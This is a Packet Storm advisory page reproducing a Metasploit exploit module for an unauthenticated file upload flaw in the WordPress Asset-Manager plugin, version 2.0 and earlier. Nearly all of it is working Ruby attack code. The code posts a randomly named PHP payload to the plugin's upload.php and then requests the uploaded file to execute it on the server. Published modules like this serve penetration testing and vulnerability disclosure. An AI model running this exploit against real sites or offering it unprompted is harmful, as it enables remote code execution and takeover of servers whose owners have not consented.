WordPress Asset-Manager PHP File Upload

2012-12-28T00:00:00
ID PACKETSTORM:119133
Type packetstorm
Reporter Sammy FORGIT
Modified 2012-12-28T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'msf/core/exploit/php_exe'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress  
plugin. By abusing the upload.php file, a malicious user can upload a file to a  
temp directory without authentication, which results in arbitrary code execution.  
},  
'Author' =>  
[  
'Sammy FORGIT', # initial discovery  
'James Fitts <fitts.james[at]gmail.com>' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '82653' ],  
[ 'BID', '53809' ],  
[ 'EDB', '18993' ],  
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 26 2012'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])  
], self.class)  
end  
  
def exploit  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
peer = "#{rhost}:#{rport}"  
payload_name = "#{rand_text_alpha(5)}.php"  
php_payload = get_write_exec_payload(:unlink_self=>true)  
  
data = Rex::MIME::Message.new  
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")  
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
print_status("#{peer} - Uploading payload #{payload_name}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if not res or res.code != 200 or res.body !~ /#{payload_name}/  
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")  
end  
  
print_status("#{peer} - Executing payload #{payload_name}")  
res = send_request_raw({  
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",  
'method' => 'GET'  
})  
  
if res and res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")  
end  
end  
end  
`